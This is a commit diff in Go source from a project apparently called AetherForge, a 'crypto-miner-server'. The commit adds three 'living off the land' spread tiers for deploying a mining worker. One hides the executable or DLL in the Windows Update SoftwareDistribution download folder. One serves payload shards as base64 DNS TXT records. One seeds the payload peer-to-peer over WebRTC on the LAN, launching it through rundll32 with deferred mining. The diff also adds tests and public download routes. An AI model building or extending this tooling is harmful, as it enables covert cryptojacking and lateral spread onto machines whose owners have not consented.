Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
AetherForge
2026-06-07 01:07:55 -07:00
parent 652356bfe6
commit 0be2de81a5
100 changed files with 3447 additions and 213 deletions

View File

@@ -28,11 +28,26 @@ type StagingManifest struct {
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSZone string `json:"dns_zone,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
URL string `json:"url"`
File string `json:"file"`
Record string `json:"record,omitempty"`
Index int `json:"index,omitempty"`
}
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
@@ -42,6 +57,12 @@ type DeployPlanBody struct {
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
@@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
}
body.Manifest = manifest
body.PeerGroup = manifest.PeerGroup
case "wsus_cache_peer":
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.CacheGroup = manifest.CacheGroup
case "dns_txt":
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.DNSTXTZone = zone
body.DNSTXTRecords = records
body.DNSTXTShards = shards
body.TTLRefreshSec = ttl
case "webrtc_mesh":
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.WebRTCMesh = mesh
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
@@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL
}, nil
}
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
cacheGroup := "af-wsus-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
}
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
CacheGroup: cacheGroup,
}, nil
}
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, "", nil, nil, 0, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
}
zone := h.dnsTXTZone()
records := []string{
"_aether.shard0." + zone,
"_aether.shard1." + zone,
}
shards := []int{0, 1}
ttl := 300
chunks := make([]StagingChunk, len(records))
for i, rec := range records {
chunks[i] = StagingChunk{
Record: rec,
Index: shards[i],
File: fmt.Sprintf("shard-%d.b64", shards[i]),
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
}
}
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "dns_txt",
Chunks: chunks,
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
DNSZone: zone,
TTLRefreshSec: ttl,
}
return manifest, zone, records, shards, ttl, nil
}
func (h *DeployPlanHandler) dnsTXTZone() string {
zone := "internal"
if h.allowlist != nil {
_ = h.allowlist()
}
if h.dataDir != "" {
cfgPath := filepath.Join(h.dataDir, "config.json")
if data, err := os.ReadFile(cfgPath); err == nil {
var payload struct {
Server struct {
DNSZone string `json:"dns_zone"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
zone = strings.TrimSpace(payload.Server.DNSZone)
}
}
}
return zone
}
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
}
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "webrtc_mesh",
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
}
mesh := &WebRTCMeshPlanBody{
STUNServers: []string{"stun:stun.l.google.com:19302"},
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
LANFallbackURL: fallbackURL,
SeederAgentID: strings.TrimSpace(req.AgentID),
RotationHours: 24,
}
return manifest, mesh, nil
}
func sanitizeDeployToken(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
var b strings.Builder

View File

@@ -0,0 +1,121 @@
package api
import (
"os"
"path/filepath"
"testing"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func testDeployPlanHandler(t *testing.T) *DeployPlanHandler {
t.Helper()
dir := t.TempDir()
database, err := dbpkg.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, dir,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
}
func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" {
t.Fatal("expected cache_group")
}
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
t.Fatalf("dest=%q", plan.Manifest.Dest)
}
}
func TestBuildPlanDNSTXTLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "dns_txt" || plan.Manifest == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 {
t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords)
}
if plan.TTLRefreshSec <= 0 {
t.Fatal("expected ttl_refresh_sec")
}
}
func TestBuildPlanWebRTCMeshLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1",
}, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" {
t.Fatalf("mesh=%+v", plan.WebRTCMesh)
}
}
func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{
{Name: "Wuauserv", Status: "running"},
{Name: "DoSvc", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "DoSvc" || lane.Lane != "do_peer" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func containsStr(s, sub string) bool {
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0)
}
func indexStr(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}

View File

@@ -1,6 +1,7 @@
package api
import (
"encoding/base64"
"net/http"
"os"
"path/filepath"
@@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, path)
}
// GET /api/v1/public/dns-txt/{record}
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
record := strings.TrimSpace(chi.URLParam(r, "record"))
if record == "" {
http.Error(w, "record required", http.StatusBadRequest)
return
}
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
data, err := os.ReadFile(build.FilePath)
if err != nil {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
// GET /api/v1/public/webrtc-mesh/manifest
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, build.FilePath)
}
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
return h.db.GetBuild(buildID)
}
return h.db.GetLatestBuildForPlatform(platform)
}
func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {

View File

@@ -736,6 +736,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
}
})

View File

@@ -16,6 +16,12 @@ type ServiceDeployLane struct {
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
@@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string {
return "bits_curl"
case "do_peer", "do-peer", "dosvc":
return "do_peer"
case "wsus_cache_peer", "wsus-cache-peer", "wsus":
return "wsus_cache_peer"
case "dns_txt", "dns-txt":
return "dns_txt"
case "webrtc_mesh", "webrtc-mesh":
return "webrtc_mesh"
case "docker", "docker_load", "docker-load":
return "docker_load"
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":

View File

@@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) {
}
}
func TestNormalizeJoinLaneNewTiers(t *testing.T) {
cases := map[string]string{
"wsus-cache-peer": "wsus_cache_peer",
"dns-txt": "dns_txt",
"webrtc-mesh": "webrtc_mesh",
}
for in, want := range cases {
if got := normalizeJoinLane(in); got != want {
t.Fatalf("%q => %q want %q", in, got, want)
}
}
}
func TestPickDeployLaneDNSTXT(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestPickDeployLanePriority(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},